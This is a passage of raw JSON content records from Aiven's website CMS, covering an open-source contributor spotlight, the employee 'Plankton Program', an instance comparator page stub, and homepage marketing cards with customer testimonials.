GitHub"},"image":{"_type":"mainImage","asset":{"_ref":"image-e20c08c72ccf650f70ed7fccf849b3041892defa-800x800-jpg","_type":"reference"}},"jobTitle":"Staff Community Program Manager, Aiven","name":"Floor Drees"},{"_key":"7b7eb6348965bfd05fd10492e27adabd","_type":"testimonialItem","content":[{"_key":"6ce365a4cce8","_type":"block","children":[{"_key":"8c7dd1f790770","_type":"span","marks":[],"text":"Thomas is a Senior Site Reliability Engineer at Aiven, based in Toronto. From a background in the academic field of computational logic he became a Debian package maintainer for software packages in that discipline including "},{"_key":"8c7dd1f790771","_type":"span","marks":["40df6888b3e1"],"text":"clasp"},{"_key":"8c7dd1f790772","_type":"span","marks":[],"text":" and "},{"_key":"8c7dd1f790773","_type":"span","marks":["69034b428489"],"text":"gringo"},{"_key":"8c7dd1f790774","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"40df6888b3e1","_type":"link","href":"https://tracker.debian.org/pkg/clasp"},{"_key":"69034b428489","_type":"link","href":"https://tracker.debian.org/pkg/gringo"}],"style":"normal"},{"_key":"cf87dbfca45f","_type":"block","children":[{"_key":"5fdc1b889afc0","_type":"span","marks":[],"text":"About his attitude to open source Thomas says \""},{"_key":"5fdc1b889afc1","_type":"span","marks":["em"],"text":"As I need to accomplish some piece of work, I want to get the problem out of my way as quickly as possible, so a good bug report helps the maintainer of the OSS component to address the problem quickly and therefore I can enjoy the fixed software sooner ... More often than not, just fixing the bug in the OSS component is less work than creating a by-pass for the bug myself."},{"_key":"5fdc1b889afc2","_type":"span","marks":[],"text":"\", which is a good reflection of how we do things at Aiven."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://github.com/tkren","title":"tkren on GitHub"},"image":{"_type":"mainImage","asset":{"_ref":"image-7a2b75d463bdfaac2d30ee786c50541b974f33f8-177x266-png","_type":"reference"}},"jobTitle":"Senior Site Reliability Engineer, Aiven","name":"Thomas Krennwallner","tagline":"rominf"},{"_key":"3b6c595a493616ee6594e874a9db1858","_type":"testimonialItem","content":[{"_key":"0869bf48b105","_type":"block","children":[{"_key":"4f717fb596190","_type":"span","marks":[],"text":"Josep has decades of experience in and around open source. At Aiven he manages the Open Source Program Office (OSPO) team."}],"markDefs":[],"style":"normal"},{"_key":"ca28c7b727f9","_type":"block","children":[{"_key":"50c0b93d9d090","_type":"span","marks":[],"text":"Josep got deeply involved in open source almost by accident. He says: "},{"_key":"50c0b93d9d091","_type":"span","marks":["em"],"text":"\"My journey in open source started when one day I decided to fix a typo on an OSS project. I liked the process and the community so much that I kept fixing things and I became a maintainer.\""}],"markDefs":[],"style":"normal"},{"_key":"2d1f6a2cf22c","_type":"block","children":[{"_key":"22d9be6509640","_type":"span","marks":[],"text":"In his GitHub life, Josep is a committer of "},{"_key":"22d9be6509641","_type":"span","marks":["57fc7e921360"],"text":"Akka HTTP"},{"_key":"22d9be6509642","_type":"span","marks":[],"text":", a server and client side HTTP stack on top of akka-actor and akka-stream. Akka HTTP is a general toolkit for providing and consuming HTTP-based services that allows you to pick the API abstraction level to suit your application."}],"markDefs":[{"_key":"57fc7e921360","_type":"link","href":"https://github.com/akka/akka-http/"}],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://github.com/Jlprat","title":"Jlprat on GitHub"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800-jpg","_type":"reference"}},"jobTitle":"Open Source Engineering Director, Aiven","name":"Josep Prat","tagline":"rominf"}],"rounded":false,"subtitle":[{"_key":"3e995eccab9f","_type":"block","children":[{"_key":"df227f599c370","_type":"span","marks":[],"text":"As well as the Open Source Program office, our developers, engineers, solutions architects – even our founders – all pitch in to collaborate and contribute to open source projects around the world."}],"markDefs":[],"style":"normal"},{"_key":"cda254098c83","_type":"block","children":[{"_key":"5674388ed95e0","_type":"span","marks":[],"text":"We asked a few of them to tell us why they think this is important.\n"}],"markDefs":[],"style":"normal"}],"tagline":"rolling up our sleeves","title":"Open source contributor spotlight","variant":"people"},{"_key":"f2c14dbfb1bd","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1afa3a57b3ac789e8df70a3273a95356455ec449-1263x1263-png","_type":"reference"}},"imagePosition":"bottom","narrowImage":true,"rounded":true,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers at Aiven"},"tagline":"Supporting Aiven developers","text":[{"_key":"f50f60aeba5c","_type":"block","children":[{"_key":"8d32c337f0e80","_type":"span","marks":[],"text":"At Aiven, we want to support our employees in their endeavors, and also contribute to society as a whole. We have a scheme called the \"Plankton Program\" that allows employees to claim compensation for the (limited) time they spend on open source activities outside of work. Many of our employees make open source contributions at work, on our own projects or on the upstream projects or other industry tools - and those are all on work time of course."}],"markDefs":[],"style":"normal"},{"_key":"e0385fc79070","_type":"block","children":[{"_key":"1f5131f0d1780","_type":"span","marks":[],"text":"The Plankton Program allows us to support and recognize the extra work and small improvements to the ecosystem that our employees are making outside of what is strictly required of them. We are proud of our people and happy to support their work!"}],"markDefs":[],"style":"normal"}],"title":"Plankton Program","variant":"mediaRight"},{"_key":"9f01912c1d52","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","categories":[{"_key":"4936181e9b37","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"disabled":false,"fullWidth":true,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Read more about open source at Aiven"}],"infoBanner":{"_ref":"6d8a7f8c-dd1c-4f97-b75e-b1fedfa5d8e0","_type":"reference"},"infoBannerBackgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"We ❤️ open source. At Aiven, open source is at the core of everything we do. Find out why – and learn how we also contribute back to society. ","metaImage":{"_type":"mainImage","alt":"Open source at Aiven","asset":{"_ref":"image-7cee0c3f41ba3a1f35d22dca7ca321853ac549b8-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's Open-source solutions | Empower your data projects"},"slug":{"_type":"slug","current":"/open-source"},"title":"Open source | Aiven"} {"__i18n_lang":"en","_createdAt":"2024-12-20T13:34:38Z","_id":"7a9fc322-051d-49da-8532-073b48611e2d","_rev":"Qw0TwPQaQ8aBM3BSTL2hbt","_type":"page","_updatedAt":"2024-12-20T13:37:28Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a21759c3f16d8a9990d4474fdd02268c3a13f571-1200x630-png","_type":"reference"}},"metaTitle":"Instances Comparator"},"slug":{"_type":"slug","current":"/tools/instances"},"title":"Instance Comparator"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"frontpage__i18n_de","_type":"reference"},{"_key":"fr","_ref":"frontpage__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"frontpage__i18n_ja","_type":"reference"}],"_createdAt":"2022-04-04T02:41:12Z","_id":"frontpage","_rev":"aLIIQ7Q5L2eXkJOQZBUosj","_type":"page","_updatedAt":"2025-01-08T15:05:04Z","content":[{"_key":"8seyzcosjssvfuqqkzrowikwmmj0y0sf","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselItems":[{"_key":"7ft3nnz7284ay5wils4emb5tz2sqk9od","_type":"captionImage","caption":[{"_key":"x06ms4aul004ypp04xh5blhhxs6clybe","_type":"block","children":[{"_key":"6jmax66i126an6b3ufc8nonk4yvbz80e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Console","asset":{"_ref":"image-e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772-png","_type":"reference"}}},{"_key":"j23lxjij1w442wzuiiqdbzyc3dwp1pvz","_type":"captionImage","caption":[{"_key":"bffhntfs5m40j8sc1ggi0tzfleae1yyj","_type":"block","children":[{"_key":"wamaeiwdvp2a7uh8rejwsm8vdjxmqz2r","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Infrastructure diagram","asset":{"_ref":"image-707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766-png","_type":"reference"}}}],"carouselSyncTitleItems":[{"_key":"1lc4njbnhp4y5g4xh9tznpwqgbd92xhf","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Streaming"},{"_key":"4vqlzuci3s0yumfm00sxeo8x8y63npo7","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Database Optimization"},{"_key":"slwlx46zbyaz4u9lnk4bnagl47sgutdy","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"AI Applications"}],"darkTheme":true,"disabled":false,"fullWidth":true,"headline":[{"_key":"6kmj5mo7fmw7425uxxa4ecn0zdomxzla","_type":"block","children":[{"_key":"3nmzh0po98teqxsixploh5y6or3bbl8u","_type":"span","marks":[],"text":"Your Trusted \n"},{"_key":"uu2vjxrzep0i7l02auz5gh4wv4ldvdpw","_type":"span","marks":["color-primary"],"text":"Data \u0026 AI"},{"_key":"xitlrjnfnff34f1oy8x7zx6vio8xbnzu","_type":"span","marks":[],"text":" Platform"}],"markDefs":[],"style":"h1"},{"_key":"yfivrpg69q6n8obhvmpf6wvcrioj66qw","_type":"block","children":[{"_key":"frb10cjcro73gkin1jrocuzbxlg83h4e","_type":"span","marks":[],"text":"Streaming | Database Optimization | Analytics | Search | Data Warehousing | In-Memory Caching"}],"markDefs":[],"style":"normal"},{"_key":"rgi31zph4in255z96wwlbmwl1squvrdm","_type":"block","children":[{"_key":"nv4it9oczz5sbh4o9qc9e6tx1zjxg2vi","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"jdfgh3vyh1p35u7xpxpng5vvmbxv0uvh","_type":"block","children":[{"_key":"cv7shfq5voq7hw71sqjwvoh2vgqlb3y5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"hideHostProviderTitle":false,"hostProviders":[{"_key":"7a1a1a7448a2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"81fdf256a683","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"c1c500612f93","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"31735b987fac","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"a0c076204367","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"19e8d8069a17","_ref":"a506fd70-3394-4c5e-a595-caea0c60623b","_type":"reference"},{"_key":"d181f5cae3cb","_ref":"0a4874dd-a9ec-4c09-bfc8-8a1972f8ebf8","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"title":"Your Trusted Data \u0026 AI Platform","titleMultiColor":true,"variant":"default"},{"_key":"f769863cc1bc","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"967170b95c3b","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Try it now"},"image":{"_type":"mainImage","asset":{"_ref":"image-afaca998eee73040f864d56d6517b279b04c7a95-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"8e71ce3aed11","_type":"block","children":[{"_key":"1bfdb59b7c6e0","_type":"span","marks":[],"text":"The best of Google and Aiven for demanding PostgreSQL workloads. Aiven for AlloyDB Omni combines the power of Google Cloud's industry-leading database service AlloyDB Omni, with the ease of use and multi-cloud flexibility of the Aiven platform for Google Cloud, AWS, and Azure."}],"markDefs":[],"style":"normal"}],"title":"Aiven for AlloyDB Omni","variant":"default"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"zj7h3ykbwsts17969mpalrqb7n3sgcyg","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Learn about the Aiven Platform"},"roundedCorners":"rounded-none","subtitle":[{"_key":"zwb878pvpwbxod5mn133dj8xd3i10q89","_type":"block","children":[{"_key":"srvr8anzu4otjfgi8quxjsroyrunn88z","_type":"span","marks":[],"text":"Aiven is a versatile platform empowering you with AI-driven workload optimization and control over your data. Deploy widely adopted technologies across multiple clouds with just a few clicks to "},{"_key":"adf6191615db","_type":"span","marks":["09c067cb6d8e"],"text":"stream"},{"_key":"444e029990f4","_type":"span","marks":[],"text":", "},{"_key":"876e69b0bc1a","_type":"span","marks":["f2931e9c193f"],"text":"store"},{"_key":"694c1d863b5b","_type":"span","marks":[],"text":", and "},{"_key":"4c22bf7cddd5","_type":"span","marks":["1d79b0a39e0e"],"text":"serve"},{"_key":"9c2595e665c4","_type":"span","marks":[],"text":" your data."}],"markDefs":[{"_key":"09c067cb6d8e","_type":"internalLink","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"}},{"_key":"f2931e9c193f","_type":"internalLink","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"}},{"_key":"1d79b0a39e0e","_type":"internalLink","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"}}],"style":"normal"}],"title":"One unified platform to stream, store, and serve data on any cloud","topOverlap":false,"variant":"centerColumn"},{"_key":"fpcnbfwkafy7qvrdvy2zq0ww9xrl9ka9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"right bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"a3qaglhglghnmxn2bfyzuogau76qrahy","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2vy2d5jk4fmqlsuho7uoxdsx7wn0l8w1","_type":"block","children":[{"_key":"0cnm95ax8plh6rnc22tbdb59hb5b996k","_type":"span","marks":[],"text":"Deep technical skills are often distracted by managing data infrastructure and other low-value tasks. Aiven helps to reallocate that skill by leveraging widely adopted "},{"_key":"4e5f1e8a71d9","_type":"span","marks":["38f5760e5a74"],"text":"open technologies"},{"_key":"a8fde5b36ffe","_type":"span","marks":[],"text":" that can be applied wherever necessary with a common API across clouds."}],"markDefs":[{"_key":"38f5760e5a74","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"}],"title":"Focus technical skills on innovation and value","variant":"icon-card"},{"_key":"ogc1pgb0rw0sa24e43xfcuxnrwyt67j0","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"k2zw24smgps46nbkm0x02rjpi9to3dfs","_type":"block","children":[{"_key":"w03k0uf48tvuk3lvwwsh5a54ewj5iruc","_type":"span","marks":[],"text":"Cloud costs, even pay as you go, can often be vague and unpredictable until after services are consumed. Aiven provides transparent and predictable "},{"_key":"ca9d9c39ffb4","_type":"span","marks":["b84dc6c80ea0"],"text":"pricing"},{"_key":"a8b6e2bb3665","_type":"span","marks":[],"text":" to avoid surprises and reduce your overall spend. Aiven can also be deployed in your existing AWS, Google, or Azure cloud to take advantage of your negotiated discounts."}],"markDefs":[{"_key":"b84dc6c80ea0","_type":"internalLink","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"}}],"style":"normal"}],"title":"Optimize cloud costs","variant":"icon-card"},{"_key":"4uycdcj2am1os99r97ovxjulu0burhwb","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"hq5hf7rkjpyrmpjnpdnquyftpjlx6qdl","_type":"block","children":[{"_key":"zeepewcsfpzpltfu11iokgkzstotjpow","_type":"span","marks":[],"text":"With Aiven, you can apply organizational policies once across your data infrastructure. Aiven provides end-to-end "},{"_key":"5936a773500b","_type":"span","marks":["e731c174a2f0"],"text":"security"},{"_key":"5599dfe80104","_type":"span","marks":[],"text":" with dedicated virtual machines, encryption in transit and at rest, automated security updates, and more. Our services are ISO 27000-series, GDPR, CCPA, HIPAA, and PCI-DSS compliant."}],"markDefs":[{"_key":"e731c174a2f0","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Govern security and compliance","variant":"icon-card"},{"_key":"iopkevxie4asjud0p78i2wkc6rbpa3fe","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"neck29e5ipufjtwvy7iu8ggpbi5q91yu","_type":"block","children":[{"_key":"ckkghtm8xs8cnne9iozs8nhofcs2yfu1","_type":"span","marks":[],"text":"Managing data infrastructure can delay application development cycles. Aiven deploys your data infrastructure in any cloud with just a few clicks to increase the velocity of your initiatives. Aiven also provides "},{"_key":"35b799272dc7","_type":"span","marks":["a1ba738af379"],"text":"AI-driven actionable insights"},{"_key":"186850883021","_type":"span","marks":[],"text":" to speed up coding, optimize workloads, and reduce issue resolution time."}],"markDefs":[{"_key":"a1ba738af379","_type":"internalLink","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"}}],"style":"normal"}],"title":"Accelerate application development","variant":"icon-card"},{"_key":"c3nu3zvnxc37rao0lz5tl1lggow8y47i","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"no11q9sr9ofujq8awe8d6j178bnw8jqc","_type":"block","children":[{"_key":"yytyx0qolbpj8ewek198q2ki9u51jmwf","_type":"span","marks":[],"text":"Multiple vendors and tools add complexity and operational risk. Aiven gives you greater control of your data infrastructure management by standardizing security, governance, observability, and visualization through a single, "},{"_key":"224304fcfba3","_type":"span","marks":["c8be7cf30844"],"text":"unified platform"},{"_key":"b09e50ac24aa","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c8be7cf30844","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Consolidate data infrastructure","variant":"icon-card"},{"_key":"mab7y8tcp9wk8t0qbkdvv6t0mqiflp87","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"248b7ef13a9f","_type":"block","children":[{"_key":"bec47f37d37c","_type":"span","marks":[],"text":"When you need help for any reason, Aiven is on your side. We offer "},{"_key":"794ffd07bfee","_type":"span","marks":["2de8145a619f"],"text":"expert services"},{"_key":"aee1cdf7153c","_type":"span","marks":[],"text":" to guide you on your path and "},{"_key":"bd27281b42dc","_type":"span","marks":["a868fd3f9718"],"text":"support"},{"_key":"a165c6fc6fea","_type":"span","marks":[],"text":" tiers that match the toughest enterprise requirements for best practices, technical quality, and speed of issue resolution."}],"markDefs":[{"_key":"2de8145a619f","_type":"internalLink","internalLink":{"_ref":"a3deb510-a007-448e-ac4e-bbf5bef29464","_type":"reference"}},{"_key":"a868fd3f9718","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}}],"style":"normal"}],"title":"Get world-class service and support","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Get in touch with our experts"}},{"_key":"v5twbf5zu0pa7pytelje3vapc33txb76","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"3095ad48f333","_ref":"4f4c3dcb-bba3-4ab7-8044-0cda7ed83910","_type":"report"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl","topOverlap":false},{"_key":"agywbvhdsmcvmm53d8dirldw8wfdfksn","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"be729f46399b81463300c51f360e92ec","_type":"tabItem","content":[{"_key":"ht8cmd7pgylnaks1j705d6bgek4wh1oy","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"94c816cf6828","_ref":"cf430ec4-993f-4296-854f-14b929516170","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"la-redoute","image":{"_type":"mainImage","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"imageHeight":35,"title":"La Redoute"},{"_key":"tc2p9o7k7q9lxq126049w1ig5c5nw5ec","_type":"tabItem","content":[{"_key":"ht8cmd7pgylnaks1j705d6bgek4wh1oy","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"o85hjupugmcb8mob7y0klqy4cnbyn0bw","_ref":"e70390e5-af60-477c-b802-09aaa7d60b0f","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"tv2","image":{"_type":"mainImage","asset":{"_ref":"image-016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575-png","_type":"reference"}},"imageHeight":30,"title":"TV2 Norway"},{"_key":"qllw5q9ub9ihmy0zeyvh8b4smlzhsf47","_type":"tabItem","content":[{"_key":"iwxdiywzep70h3te5ehqv1v5vllfv70k","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"h3ig9jnl1qsirzkbcy9kpr0j8egdz284","_type":"testimonialItem","company":{"_ref":"d9c42125-e7a0-4947-ae50-0ecc71c3c62e","_type":"reference"},"content":[{"_key":"aki7e0nfm6lxpl5qpgagz1ob0cyitb13","_type":"block","children":[{"_key":"s43c0ce68lmyp570zke5yaxe6kaane0w","_type":"span","marks":[],"text":"One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_type":"reference"},"title":"Read customer story"},"jobTitle":"CTO, Supermetrics","name":"Duleepa \"Dups\" Wijayawardhana","ytId":"oQIjSwWxE14"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"supermetrics","image":{"_type":"mainImage","asset":{"_ref":"image-23003fdfdf4f0b3a9ff87d092bb14d2ae97fb177-800x182-png","_type":"reference"}},"imageHeight":30,"title":"Supermetrics"},{"_key":"v7jmtosa34ptzd2qkv20o4hywy955ut0","_type":"tabItem","content":[{"_key":"481vii30eqt2a8oi5mbqzk366wggalle","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"wpb35lhoosvs20vofplbm7faz1mz1qny","_ref":"3yPgOzGSohafaU7PJiO4Xa","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"adeo","image":{"_type":"mainImage","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"imageHeight":35,"title":"Adeo"},{"_key":"knryex8w06dw4eur20s49e00coj32bi7","_type":"tabItem","content":[{"_key":"0d64tki5kerssyqmsv1eddzjjztj7owa","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"3rbm99tzh9e3ptvrufkhi4fw14rkng16","_ref":"13b9f7a4-7dfe-4ae2-9049-6c638f3cf289","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"avaya","image":{"_type":"mainImage","asset":{"_ref":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_type":"reference"}},"imageHeight":30,"title":"Avaya"},{"_key":"gkcrx5pj310vdhrt3l61fxcrl9jnmq9c","_type":"tabItem","content":[{"_key":"iwhaj37q2ifr7dw7dajm8nexec5it45y","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"5dv9p5s1mh3en9mvt0erakgvscr1kqwq","_ref":"3c97f2cf-4e4a-4ec4-9d91-103aeeb23f73","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"conrad","image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"imageHeight":30,"title":"Conrad"},{"_key":"9nblnxbep7fzt9887mf80rkaq6thj63u","_type":"tabItem","content":[{"_key":"3ergflboq3zyh734yfn6yygj29wieonu","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"1j3b23xe9kaj1t8da1zxpn7jtnitoxls","_ref":"5760b3cc-20cf-4a10-8fa7-742d05ab5314","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"swift","image":{"_type":"mainImage","asset":{"_ref":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_type":"reference"}},"imageHeight":48,"title":"Swift"},{"_key":"3a5usssiubvdbqk8tc3m0tvg8bfpjrmv","_type":"tabItem","content":[{"_key":"0n3b34p5nugaqejk3i9n1cjzrhpwmear","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 